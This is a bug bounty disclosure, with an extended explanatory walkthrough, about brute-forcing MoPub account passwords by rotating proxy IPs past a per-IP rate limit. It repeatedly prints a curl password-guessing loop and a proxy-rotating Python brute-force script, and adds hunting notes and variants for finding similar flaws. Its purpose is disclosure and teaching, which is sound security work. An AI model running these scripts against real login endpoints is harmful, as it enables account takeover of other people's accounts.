Ability to bruteforce mopub account’s password due to lack of rate limitation protection using {ip rotation techniques}
The login endpoint only rate-limited failed attempts by IP address, so an attacker could rotate IPs to bypass the limit and brute-force passwords. This could allow account takeover.
- Triaged in 8 days
- Fixed in 29 days
- Paid in 35 days
- Disclosed after 4 months
Summary
I tried to guess on my account. I sent out nearly 1,000 requests, and I was virtually banned on request about 120. But when I changed my IP and tried logging in, I was logged into the account without any additional checks
Description:*
Your web authentication endpoint, https://app.mopub.com/web-client/api/user/login, (POST), currently protects against credentials brute-force attacks only by requests rate-limiting based on IP. This bug could allow an attacker to bruteforce the password of mopub users. This happens because mopub developer not set rate limitation protection in login page
Reproduction
To test this, send a POST request to "https://app.mopub.com/web-client/api/user/login" with the following parameters in the body:
{"username":"[email protected]","password":"HACKEDP@SS"}
Using curl, we can run an attack against a list of password with a fixed username (in this example "[email protected]"), You can use the following command to start guessing passwords from PASS_LIST Put in your list about 1000 passwords and start guessing. You will notice that you will be banned after several trials.
while read pass; do curl -i -s -k -X $'POST' -H $'Host: app.mopub.com' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/json' -H $'x-csrftoken: ███████' -H $'Origin: https://app.mopub.com' -H $'Referer: https://app.mopub.com/login?next=/' -H $'Cookie: csrftoken=███████; _ga=██████; mp__mixpanel=%7B%22distinct_id%22%3A%20%███%22%2C%22%24device_id%22%3A%20%███████%22%2C%22accountKey%22%3A%20%22%22%2C%22accessLevel%22%3A%20%22%22%2C%22%24initial_referrer%22%3A%20%22%24direct%22%2C%22%24initial_referring_domain%22%3A%20%22%24direct%22%7D; ██████_mixpanel=%7B%22distinct_id%22%3A%20%22██████████%22%2C%22%24initial_referrer%22%3A%20%22https%3A%2F%2Fapp.mopub.com%2Faccount%2Flogin%2F%22%2C%22%24initial_referring_domain%22%3A%20%22app.mopub.com%22%2C%22accessLevel%22%3A%20%22loggedOut%22%2C%22accountKey%22%3A%20null%2C%22__mps%22%3A%20%7B%7D%2C%22__mpso%22%3A%20%7B%7D%2C%22__mpus%22%3A%20%7B%7D%2C%22__mpa%22%3A%20%7B%7D%2C%22__mpu%22%3A%20%7B%7D%2C%22__mpr%22%3A%20%5B%5D%2C%22__mpap%22%3A%20%5B%5D%2C%22%24user_id%22%3A%20%22█████%22%2C%22%24had_persisted_distinct_id%22%3A%20true%2C%22%24device_id%22%3A%20%22████████%22%7D; mp_mixpanel__c=3' --data-binary $'{\"username\":\"[email protected]\",\"password\":\"$pass\"}' $'https://app.mopub.com/web-client/api/user/login';done < PASS_LIST
To bypass this protection a brute-force python script was developed that performs a login brute-force attack by rotating through these addresses, to never have a request refused. This effectively overcomes the IP-rate limiting and allows a full-fleged online brute-force attack at virtually unlimited speeds.
from proxy_requests.proxy_requests import ProxyRequests
class bcolors:
BOLD = '\033[1m'
CRED = '\033[91m'
Pass = ["12345","admin","user","root","love","love2020","uk2020","asdfg","qwerty12345","██████████","████████","█████","████","███","passwOrd","Password","████","█████████","R00T","█████████","███████","███████","████"]
array_length = len(Pass)
I = 0
for I in range(array_length):
r = ProxyRequests("https://app.mopub.com/web-client/api/user/login")
r.set_headers({
'x-csrftoken': '█████',
'Origin': 'https://app.mopub.com',
'Content-Type':'application/json',
'Referer':'https://app.mopub.com/login?next=/',
'Cookie': 'csrftoken=████████; _ga=█████; mp__mixpanel=%7B%22distinct_id%22%3A%20%████%22%2C%22%24device_id%22%3A%20%████████%22%2C%22accountKey%22%3A%20%22%22%2C%22accessLevel%22%3A%20%22%22%2C%22%24initial_referrer%22%3A%20%22%24direct%22%2C%22%24initial_referring_domain%22%3A%20%22%24direct%22%7D; ██████████_mixpanel=%7B%22distinct_id%22%3A%20%22████████%22%2C%22%24initial_referrer%22%3A%20%22https%3A%2F%2Fapp.mopub.com%2Faccount%2Flogin%2F%22%2C%22%24initial_referring_domain%22%3A%20%22app.mopub.com%22%2C%22accessLevel%22%3A%20%22loggedOut%22%2C%22accountKey%22%3A%20null%2C%22__mps%22%3A%20%7B%7D%2C%22__mpso%22%3A%20%7B%7D%2C%22__mpus%22%3A%20%7B%7D%2C%22__mpa%22%3A%20%7B%7D%2C%22__mpu%22%3A%20%7B%7D%2C%22__mpr%22%3A%20%5B%5D%2C%22__mpap%22%3A%20%5B%5D%2C%22%24user_id%22%3A%20%22██████%22%2C%22%24had_persisted_distinct_id%22%3A%20true%2C%22%24device_id%22%3A%20%22███████%22%7D; mp_mixpanel__c=3'
})
r.post_with_headers({'username':'[email protected]','password':''+Pass[I]+''})
if r.get_status_code() == 401 or r.get_status_code() == 400:
print (bcolors.CRED + "[*-*] Incorrect password: " + Pass[I] + " | Res_status: " + str(r.get_status_code()), " | IP_Proxy:" + str(r.get_proxy_used()) + "]" )
elif r.get_status_code() == 204:
print (bcolors.BOLD + "[*u*] Correct password: " + Pass[I] + " | Res_status: " + str(r.get_status_code()), " | IP_Proxy:" + str(r.get_proxy_used()) + "]" )
I+= 1
Recommendation:
Implement a Captcha after a reasonable number of failed login attempts against one account at the application-layer. The Captcha should not only be shown to offending IP addresses, but to anyone who attempts to login to the account under attack. Another option is to enable an account lockout policy which effectively locks down an account that has been attacked (e.g. after 20 failed consecutive logins) and requires out-of-band validation by the real account owner (e.g. email, mobile) before becoming accessible again.
Best regards,
Impact
A malicious user could run this against a huge list of mopub password with a fixed username, after that attack is finished he changes the password. An attacker can freely bruteforce any username and can takeover any account
Context
MoPub is a mobile advertising platform. The target here is the web client at app.mopub.com, and specifically its login endpoint, https://app.mopub.com/web-client/api/user/login, which accepts a POST request with a JSON body containing username and password. The endpoint is the authentication gate for MoPub accounts. The report is about the absence of an account-level rate limit or lockout on that endpoint: the only protection observed was rate limiting keyed on the client IP address.
Setup
The researcher tested the behaviour by guessing passwords on an account. The tools were curl for the initial password guessing loop and a Python script using the proxy_requests library to rotate source addresses. The report does not give the number of proxies, the proxy provider, or the exact list of passwords beyond the sample shown. The requests carry an x-csrftoken header and a Cookie header. The report does not describe how those values were obtained beyond their presence in the captured request.
Finding it
The researcher tried to guess the password on their own account. They sent out nearly 1,000 requests and were virtually banned at around request 120. That is the IP-based rate limit in action. The important observation came next: after changing the IP address and trying to log in again, the login succeeded without any additional check. The block was tied to the address, not to the account being attacked. That suggested the endpoint could be brute-forced by spreading attempts across many source addresses, because the account itself never entered a locked or challenged state.
Exploitation
Step 1: Confirm the request shape
The login endpoint takes a JSON body with the username and password:
{"username":"[redacted]","password":"HACKEDP@SS"}
This is the payload the endpoint expects. The report uses the placeholder [redacted] for the victim account and HACKEDP@SS for the guessed password.
Step 2: Drive guesses from one address with curl
The researcher looped over a password list with a fixed username. The command reads each line of PASS_LIST into pass and sends a POST to the login endpoint with a full browser-like header set, including the CSRF token and cookies:
while read pass; do curl -i -s -k -X $'POST' -H $'Host: app.mopub.com' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/json' -H $'x-csrftoken: ███████' -H $'Origin: https://app.mopub.com' -H $'Referer: https://app.mopub.com/login?next=/' -H $'Cookie: csrftoken=███████; _ga=██████; mp__mixpanel=%7B%22distinct_id%22%3A%20%███%22%2C%22%24device_id%22%3A%20%███████%22%2C%22accountKey%22%3A%20%22%22%2C%22accessLevel%22%3A%20%22%22%2C%22%24initial_referrer%22%3A%20%22%24direct%22%2C%22%24initial_referring_domain%22%3A%20%22%24direct%22%7D; ██████_mixpanel=%7B%22distinct_id%22%3A%20%22██████████%22%2C%22%24initial_referrer%22%3A%20%22https%3A%2F%2Fapp.mopub.com%2Faccount%2Flogin%2F%22%2C%22%24initial_referring_domain%22%3A%20%22app.mopub.com%22%2C%22accessLevel%22%3A%20%22loggedOut%22%2C%22accountKey%22%3A%20null%2C%22__mps%22%3A%20%7B%7D%2C%22__mpso%22%3A%20%7B%7D%2C%22__mpus%22%3A%20%7B%7D%2C%22__mpa%22%3A%20%7B%7D%2C%22__mpu%22%3A%20%7B%7D%2C%22__mpr%22%3A%20%5B%5D%2C%22__mpap%22%3A%20%5B%5D%2C%22%24user_id%22%3A%20%22█████%22%2C%22%24had_persisted_distinct_id%22%3A%20true%2C%22%24device_id%22%3A%20%22████████%22%7D; mp_mixpanel__c=3' --data-binary $'{"username":"[redacted]","password":"$pass"}' $'https://app.mopub.com/web-client/api/user/login';done < PASS_LIST
The x-csrftoken header and the csrftoken cookie carry the CSRF token, and the remaining cookies are the session and analytics state the browser would send. The --data-binary argument is the JSON body, with $pass substituted from the list. The report's list holds about 1,000 passwords. The observed result is that the researcher was virtually banned after several trials, at roughly request 120. That is the IP rate limit.
Step 3: Rotate source addresses with a Python script
To bypass the protection, the researcher wrote a Python script that performs the same login brute-force while rotating through proxy addresses, so that no request is refused. The report describes this as overcoming the IP rate limiting and allowing a full-fledged online brute-force attack at virtually unlimited speeds.
from proxy_requests.proxy_requests import ProxyRequests
class bcolors:
BOLD = '\033[1m'
CRED = '\033[91m'
Pass = ["12345","admin","user","root","love","love2020","uk2020","asdfg","qwerty12345","██████████","████████","█████","████","███","passwOrd","Password","████","█████████","R00T","█████████","███████","███████","████"]
array_length = len(Pass)
I = 0
for I in range(array_length):
r = ProxyRequests("https://app.mopub.com/web-client/api/user/login")
r.set_headers({
'x-csrftoken': '█████',
'Origin': 'https://app.mopub.com',
'Content-Type':'application/json',
'Referer':'https://app.mopub.com/login?next=/',
'Cookie': 'csrftoken=████████; _ga=█████; mp__mixpanel=%7B%22distinct_id%22%3A%20%████%22%2C%22%24device_id%22%3A%20%████████%22%2C%22accountKey%22%3A%20%22%22%2C%22accessLevel%22%3A%20%22%22%2C%22%24initial_referrer%22%3A%20%22%24direct%22%2C%22%24initial_referring_domain%22%3A%20%22%24direct%22%7D; ██████████_mixpanel=%7B%22distinct_id%22%3A%20%22████████%22%2C%22%24initial_referrer%22%3A%20%22https%3A%2F%2Fapp.mopub.com%2Faccount%2Flogin%2F%22%2C%22%24initial_referring_domain%22%3A%20%22app.mopub.com%22%2C%22accessLevel%22%3A%20%22loggedOut%22%2C%22accountKey%22%3A%20null%2C%22__mps%22%3A%20%7B%7D%2C%22__mpso%22%3A%20%7B%7D%2C%22__mpus%22%3A%20%7B%7D%2C%22__mpa%22%3A%20%7B%7D%2C%22__mpu%22%3A%20%7B%7D%2C%22__mpr%22%3A%20%5B%5D%2C%22__mpap%22%3A%20%5B%5D%2C%22%24user_id%22%3A%20%22██████%22%2C%22%24had_persisted_distinct_id%22%3A%20true%2C%22%24device_id%22%3A%20%22███████%22%7D; mp_mixpanel__c=3'
})
r.post_with_headers({'username':'[redacted]','password':''+Pass[I]+''})
if r.get_status_code() == 401 or r.get_status_code() == 400:
print (bcolors.CRED + "[*-*] Incorrect password: " + Pass[I] + " | Res_status: " + str(r.get_status_code()), " | IP_Proxy:" + str(r.get_proxy_used()) + "]" )
elif r.get_status_code() == 204:
print (bcolors.BOLD + "[*u*] Correct password: " + Pass[I] + " | Res_status: " + str(r.get_status_code()), " | IP_Proxy:" + str(r.get_proxy_used()) + "]" )
I+= 1
The script builds a ProxyRequests object for the login URL, sets the same headers as the curl request, and posts the username with each candidate password. It interprets the response status: 401 or 400 means an incorrect password, and 204 means the password is correct. The proxy used for each request is printed alongside the result. Because each attempt can come from a different address, the per-IP limit does not accumulate against a single source.
Root cause
The login endpoint protects against credential brute force only by rate limiting requests based on IP. There is no application-layer limit or lockout tied to the account being targeted. The report states that the developer did not set rate limitation protection on the login page. The existing defence therefore fails against an attacker who can present many source addresses, because the counter that matters is per address and the attacker can change address between attempts.
Impact
A malicious user could run this against a large list of MoPub passwords with a fixed username, and after the attack finishes, change the password. An attacker can freely brute-force any username and take over any account. The report frames the outcome as account takeover.
Fix
The recommendation is to implement a CAPTCHA after a reasonable number of failed login attempts against one account, at the application layer. The CAPTCHA should not be shown only to offending IP addresses but to anyone who attempts to log in to the account under attack. Another option is an account lockout policy that locks an account after it has been attacked, for example after 20 failed consecutive logins, and requires out-of-band validation by the real account owner, such as by email or mobile, before the account becomes accessible again.
Variants to test
- Per-account lockout absent, per-IP limit present. Send a small number of failed logins for one username from one address until the block appears, then repeat from a second address. A positive result is that the second address can continue guessing the same account immediately.
- CAPTCHA tied to IP only. Trigger the CAPTCHA from one address, then attempt the same account from another address. A positive result is that no challenge is presented on the second address.
- Lockout counter reset by successful login. After a few failed attempts, log in correctly from another address and then resume guessing. A positive result is that the failure counter for the account has been reset.
- Username enumeration through response differences. Compare status codes and bodies for a non-existent username against a real one. A positive result is a consistent difference that lets an attacker build a target list before brute forcing.
- Rate limit keyed on a spoofable header. Send requests with different values of forwarding-related headers from the same address. A positive result is that the limit resets when the header changes.
Hunting notes
This kind of bug tends to sit on JSON API login endpoints behind a web client, where the front end is a single-page application and the authentication call is a separate POST. During recon, look for login requests that carry a CSRF token header and a JSON body, and check whether the response codes distinguish wrong credentials from a correct one, as this report does with 401/400 against 204. The signal is a block that appears after a fixed number of attempts and then disappears when the source address changes. To show impact, demonstrate the block on one address, then continue the same account from a different address and show that guessing proceeds. The report describes no further evidence beyond the two scripts and the observed block at around request 120.
What happened, in plain words
MoPub is a mobile advertising platform. The part that matters here is its web client at app.mopub.com, and in particular the login endpoint, https://app.mopub.com/web-client/api/user/login. An endpoint is simply a specific address on a server that accepts a particular kind of request. This one accepts a POST request, which is the method a browser uses when it sends data to a server, and the data is a small JSON body containing a username and a password. JSON is a text format for structured data, like a very simple form written out in curly brackets. This endpoint is the gate that checks whether someone logging in to a MoPub account is who they say they are.
The researcher found that the only protection against guessing passwords on this endpoint was a limit on how many requests could come from one IP address. An IP address is the numeric label a device uses on the internet, a bit like a return address on an envelope. The limit was tied to that address, not to the account being attacked. So after about 120 attempts from one address the researcher was effectively banned, but changing to a different address let them carry on immediately. That means someone could guess passwords for any account by spreading the guesses across many addresses, and the account itself would never be locked or challenged.
This class of bug is called Improper Restriction of Authentication Attempts. In everyday terms, imagine a bank counter that stops serving a person after a few wrong PIN entries, but lets the same person walk to the next counter and try again with no limit. The counter is protected; the account is not.
Context
MoPub is a mobile advertising platform. The target is the web client at app.mopub.com, and specifically its login endpoint, https://app.mopub.com/web-client/api/user/login. That endpoint accepts a POST request with a JSON body containing username and password. It is the authentication gate for MoPub accounts. The report is about the absence of an account-level rate limit or lockout on that endpoint: the only protection observed was rate limiting keyed on the client IP address.
A rate limit is a cap on how many actions you can take in a period of time, like a shop that only lets you buy three items per minute. A lockout is different: it disables the account itself after too many failures, like a phone that blocks its SIM after several wrong PINs. Here, only the first kind existed, and it was tied to the address rather than the account.
Setup
The researcher tested the behaviour by guessing passwords on an account. The tools were curl for the initial password guessing loop and a Python script using the proxy_requests library to rotate source addresses. curl is a command-line tool for sending HTTP requests, the same requests a browser makes but without the window. A proxy is an intermediary server that forwards your request, so the destination sees the proxy's address instead of yours. Rotating proxies means using a different intermediary for each attempt, so the destination sees a different address each time.
The report does not give the number of proxies, the proxy provider, or the exact list of passwords beyond the sample shown. The requests carry an x-csrftoken header and a Cookie header. A CSRF token is a random value the site gives your browser to prove a request came from its own pages and not from a malicious site; it is sent back in a header, which is a small labelled field in an HTTP request. A cookie is a small piece of data the site stores in your browser and which your browser sends back on every request to that site; a session cookie identifies your logged-in session. The report does not describe how those values were obtained beyond their presence in the captured request.
Finding it
The researcher tried to guess the password on their own account. They sent out nearly 1,000 requests and were virtually banned at around request 120. That is the IP-based rate limit in action. The important observation came next: after changing the IP address and trying to log in again, the login succeeded without any additional check. The block was tied to the address, not to the account being attacked. That suggested the endpoint could be brute-forced by spreading attempts across many source addresses, because the account itself never entered a locked or challenged state.
Brute force means trying many candidate passwords one after another until one works. It is only practical if the system lets you keep trying.
Exploitation
Step 1: Confirm the request shape
The login endpoint takes a JSON body with the username and password:
{"username":"[redacted]","password":"HACKEDP@SS"}
This is the payload the endpoint expects. The report uses the placeholder [redacted] for the victim account and HACKEDP@SS for the guessed password. In plain words, the server reads the username field to know which account is being accessed, and the password field to check the secret.
Step 2: Drive guesses from one address with curl
The researcher looped over a password list with a fixed username. The command reads each line of PASS_LIST into pass and sends a POST to the login endpoint with a full browser-like header set, including the CSRF token and cookies:
while read pass; do curl -i -s -k -X $'POST' -H $'Host: app.mopub.com' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/json' -H $'x-csrftoken: ███████' -H $'Origin: https://app.mopub.com' -H $'Referer: https://app.mopub.com/login?next=/' -H $'Cookie: csrftoken=███████; _ga=██████; mp__mixpanel=%7B%22distinct_id%22%3A%20%███%22%2C%22%24device_id%22%3A%20%███████%22%2C%22accountKey%22%3A%20%22%22%2C%22accessLevel%22%3A%20%22%22%2C%22%24initial_referrer%22%3A%20%22%24direct%22%2C%22%24initial_referring_domain%22%3A%20%22%24direct%22%7D; ██████_mixpanel=%7B%22distinct_id%22%3A%20%22██████████%22%2C%22%24initial_referrer%22%3A%20%22https%3A%2F%2Fapp.mopub.com%2Faccount%2Flogin%2F%22%2C%22%24initial_referring_domain%22%3A%20%22app.mopub.com%22%2C%22accessLevel%22%3A%20%22loggedOut%22%2C%22accountKey%22%3A%20null%2C%22__mps%22%3A%20%7B%7D%2C%22__mpso%22%3A%20%7B%7D%2C%22__mpus%22%3A%20%7B%7D%2C%22__mpa%22%3A%20%7B%7D%2C%22__mpu%22%3A%20%7B%7D%2C%22__mpr%22%3A%20%5B%5D%2C%22__mpap%22%3A%20%5B%5D%2C%22%24user_id%22%3A%20%22█████%22%2C%22%24had_persisted_distinct_id%22%3A%20true%2C%22%24device_id%22%3A%20%22████████%22%7D; mp_mixpanel__c=3' --data-binary $'{"username":"[redacted]","password":"$pass"}' $'https://app.mopub.com/web-client/api/user/login';done < PASS_LIST
Line by line, in plain words:
while read pass; do ... ; done < PASS_LISTis a shell loop. It opens the filePASS_LIST, reads one line at a time into a variable calledpass, and runs the commands betweendoanddoneonce per line. This is how a list of candidate passwords is fed in one by one.curlis the tool that sends the request.-iasks curl to include the response headers in the output, so the status code is visible.-ssilences progress noise.-ktells curl not to reject a server certificate it cannot verify; the report uses it, though in normal use you would leave it off.-X $'POST'sets the HTTP method to POST, the method used to submit data.-H $'Host: app.mopub.com'sets theHostheader, which tells the server which site name the request is for. Browsers send this automatically.-H $'User-Agent: ...'identifies the client as a Firefox browser on Ubuntu. Sites sometimes treat non-browser clients differently, so copying a browser's value makes the request look ordinary.-H $'Accept: */*',-H $'Accept-Language: en-US,en;q=0.5'and-H $'Accept-Encoding: gzip, deflate'are standard headers a browser sends to say what content it accepts and in what language.-H $'Content-Type: application/json'tells the server the body is JSON, so it parses it correctly.-H $'x-csrftoken: ███████'carries the CSRF token in a custom header. The site expects this value to match the one in the cookie, proving the request came from its own page.-H $'Origin: https://app.mopub.com'and-H $'Referer: https://app.mopub.com/login?next=/'tell the server which page the request came from. Browsers send these automatically; including them makes the request look like a real login form submission.-H $'Cookie: ...'sends the cookies. Thecsrftokencookie pairs with thex-csrftokenheader. The_gaandmp__mixpanelcookies are analytics state, the kind of tracking data a browser accumulates. The values are redacted in the report.--data-binary $'{"username":"[redacted]","password":"$pass"}'is the body. It is the same JSON shape as Step 1, with the fixed username and the current line from the password list substituted for$pass.- The final argument is the URL,
https://app.mopub.com/web-client/api/user/login.
The report's list holds about 1,000 passwords. The observed result is that the researcher was virtually banned after several trials, at roughly request 120. That is the IP rate limit.
Step 3: Rotate source addresses with a Python script
To bypass the protection, the researcher wrote a Python script that performs the same login brute-force while rotating through proxy addresses, so that no request is refused. The report describes this as overcoming the IP rate limiting and allowing a full-fledged online brute-force attack at virtually unlimited speeds.
from proxy_requests.proxy_requests import ProxyRequests
class bcolors:
BOLD = '\033[1m'
CRED = '\033[91m'
Pass = ["12345","admin","user","root","love","love2020","uk2020","asdfg","qwerty12345","██████████","████████","█████","████","███","passwOrd","Password","████","█████████","R00T","█████████","███████","███████","████"]
array_length = len(Pass)
I = 0
for I in range(array_length):
r = ProxyRequests("https://app.mopub.com/web-client/api/user/login")
r.set_headers({
'x-csrftoken': '█████',
'Origin': 'https://app.mopub.com',
'Content-Type':'application/json',
'Referer':'https://app.mopub.com/login?next=/',
'Cookie': 'csrftoken=████████; _ga=█████; mp__mixpanel=%7B%22distinct_id%22%3A%20%████%22%2C%22%24device_id%22%3A%20%████████%22%2C%22accountKey%22%3A%20%22%22%2C%22accessLevel%22%3A%20%22%22%2C%22%24initial_referrer%22%3A%20%22%24direct%22%2C%22%24initial_referring_domain%22%3A%20%22%24direct%22%7D; ██████████_mixpanel=%7B%22distinct_id%22%3A%20%22████████%22%2C%22%24initial_referrer%22%3A%20%22https%3A%2F%2Fapp.mopub.com%2Faccount%2Flogin%2F%22%2C%22%24initial_referring_domain%22%3A%20%22app.mopub.com%22%2C%22accessLevel%22%3A%20%22loggedOut%22%2C%22accountKey%22%3A%20null%2C%22__mps%22%3A%20%7B%7D%2C%22__mpso%22%3A%20%7B%7D%2C%22__mpus%22%3A%20%7B%7D%2C%22__mpa%22%3A%20%7B%7D%2C%22__mpu%22%3A%20%7B%7D%2C%22__mpr%22%3A%20%5B%5D%2C%22__mpap%22%3A%20%5B%5D%2C%22%24user_id%22%3A%20%22██████%22%2C%22%24had_persisted_distinct_id%22%3A%20true%2C%22%24device_id%22%3A%20%22███████%22%7D; mp_mixpanel__c=3'
})
r.post_with_headers({'username':'[redacted]','password':''+Pass[I]+''})
if r.get_status_code() == 401 or r.get_status_code() == 400:
print (bcolors.CRED + "[*-*] Incorrect password: " + Pass[I] + " | Res_status: " + str(r.get_status_code()), " | IP_Proxy:" + str(r.get_proxy_used()) + "]" )
elif r.get_status_code() == 204:
print (bcolors.BOLD + "[*u*] Correct password: " + Pass[I] + " | Res_status: " + str(r.get_status_code()), " | IP_Proxy:" + str(r.get_proxy_used()) + "]" )
I+= 1
Line by line, in plain words:
from proxy_requests.proxy_requests import ProxyRequestsloads a library that sends HTTP requests through proxies. The library handles picking a proxy for each request.class bcolors:defines two colour codes for terminal output,BOLDandCRED(red). They only affect how the printed result looks.Pass = [...]is the list of candidate passwords. Some entries are redacted in the report. The list includes common choices such as12345,admin,user,root,love,qwerty12345,passwOrd,PasswordandR00T. These are the kind of passwords people pick when they do not choose a strong one.array_length = len(Pass)counts how many candidates there are.I = 0andfor I in range(array_length):loop once per candidate, withIas the position in the list.r = ProxyRequests("https://app.mopub.com/web-client/api/user/login")creates a request object aimed at the login endpoint. The library will route it through a proxy.r.set_headers({...})sets the same headers as the curl command: the CSRF token header,Origin,Content-Type,Refererand theCookiestring. The cookie values are redacted. This makes each request look like a normal browser login attempt.r.post_with_headers({'username':'[redacted]','password':''+Pass[I]+''})sends the POST with the fixed username and the current candidate password. The''+Pass[I]+''is just a way of writing the current list entry as a string.if r.get_status_code() == 401 or r.get_status_code() == 400:checks the response status. A status code is a three-digit number the server returns to say what happened.401means unauthorised and400means bad request; here both are treated as an incorrect password.- The
printinside that branch reports the wrong password, the status code and the proxy used, in red. elif r.get_status_code() == 204:checks for204, which means no content and, in this context, a successful login. The script prints the correct password, the status and the proxy used, in bold.I+= 1moves to the next candidate. In Python theforloop already advancesI, so this line is redundant, but it does not change the result.
The script builds a ProxyRequests object for the login URL, sets the same headers as the curl request, and posts the username with each candidate password. It interprets the response status: 401 or 400 means an incorrect password, and 204 means the password is correct. The proxy used for each request is printed alongside the result. Because each attempt can come from a different address, the per-IP limit does not accumulate against a single source.
Root cause
The login endpoint protects against credential brute force only by rate limiting requests based on IP. There is no application-layer limit or lockout tied to the account being targeted. The report states that the developer did not set rate limitation protection on the login page. The existing defence therefore fails against an attacker who can present many source addresses, because the counter that matters is per address and the attacker can change address between attempts.
Impact
A malicious user could run this against a large list of MoPub passwords with a fixed username, and after the attack finishes, change the password. An attacker can freely brute-force any username and take over any account. The report frames the outcome as account takeover.
Fix
The recommendation is to implement a CAPTCHA after a reasonable number of failed login attempts against one account, at the application layer. A CAPTCHA is the small puzzle or checkbox that asks you to prove you are a person, not a script. The CAPTCHA should not be shown only to offending IP addresses but to anyone who attempts to log in to the account under attack. Another option is an account lockout policy that locks an account after it has been attacked, for example after 20 failed consecutive logins, and requires out-of-band validation by the real account owner, such as by email or mobile, before the account becomes accessible again. Out-of-band validation means checking through a separate channel the attacker does not control, such as a code sent to the owner's phone.
Variants to test
- Per-account lockout absent, per-IP limit present. Send a small number of failed logins for one username from one address until the block appears, then repeat from a second address. A positive result is that the second address can continue guessing the same account immediately.
- CAPTCHA tied to IP only. Trigger the CAPTCHA from one address, then attempt the same account from another address. A positive result is that no challenge is presented on the second address.
- Lockout counter reset by successful login. After a few failed attempts, log in correctly from another address and then resume guessing. A positive result is that the failure counter for the account has been reset.
- Username enumeration through response differences. Compare status codes and bodies for a non-existent username against a real one. A positive result is a consistent difference that lets an attacker build a target list before brute forcing. Username enumeration means telling which usernames exist by how the server responds.
- Rate limit keyed on a spoofable header. Send requests with different values of forwarding-related headers from the same address. A positive result is that the limit resets when the header changes. A spoofable header is one the client can set freely, so the server should not trust it for security decisions.
Hunting notes
This kind of bug tends to sit on JSON API login endpoints behind a web client, where the front end is a single-page application and the authentication call is a separate POST. A single-page application is a website that loads once and then updates itself with background requests instead of full page reloads. During recon, look for login requests that carry a CSRF token header and a JSON body, and check whether the response codes distinguish wrong credentials from a correct one, as this report does with 401/400 against 204. The signal is a block that appears after a fixed number of attempts and then disappears when the source address changes. To show impact, demonstrate the block on one address, then continue the same account from a different address and show that guessing proceeds. The report describes no further evidence beyond the two scripts and the observed block at around request 120.
Glossary
- API: a defined set of addresses and data formats a program uses to talk to another program, like a service counter with specific forms to fill in.
- Endpoint: a specific URL on a server that accepts a particular kind of request.
- POST: the HTTP method used to send data to a server, such as a login form.
- JSON: a text format for structured data using curly brackets, colons and commas.
- IP address: the numeric label a device uses on the internet, like a return address.
- Rate limit: a cap on how many actions can be taken in a period of time.
- Lockout: disabling an account after too many failed attempts.
- Brute force: trying many candidate passwords until one works.
- CSRF token: a random value the site gives your browser to prove a request came from its own pages.
- Header: a small labelled field in an HTTP request or response carrying metadata.
- Cookie: a small piece of data a site stores in your browser and which your browser sends back on later requests.
- Session cookie: a cookie that identifies your logged-in session.
- Proxy: an intermediary server that forwards your request so the destination sees the proxy's address.
- curl: a command-line tool for sending HTTP requests.
- Status code: a three-digit number a server returns to say what happened, such as 401 for unauthorised or 204 for no content.
- CAPTCHA: a puzzle or checkbox used to tell a person from a script.
- Out-of-band validation: checking through a separate channel, such as email or phone, that the attacker does not control.
- Username enumeration: telling which usernames exist by how the server responds.
- Spoofable header: a request header the client can set freely, so the server should not trust it for security decisions.
- Single-page application: a website that loads once and then updates itself with background requests.
- CVSS: a scoring system for the severity of a security issue.
- Account takeover: an attacker gaining control of someone else's account.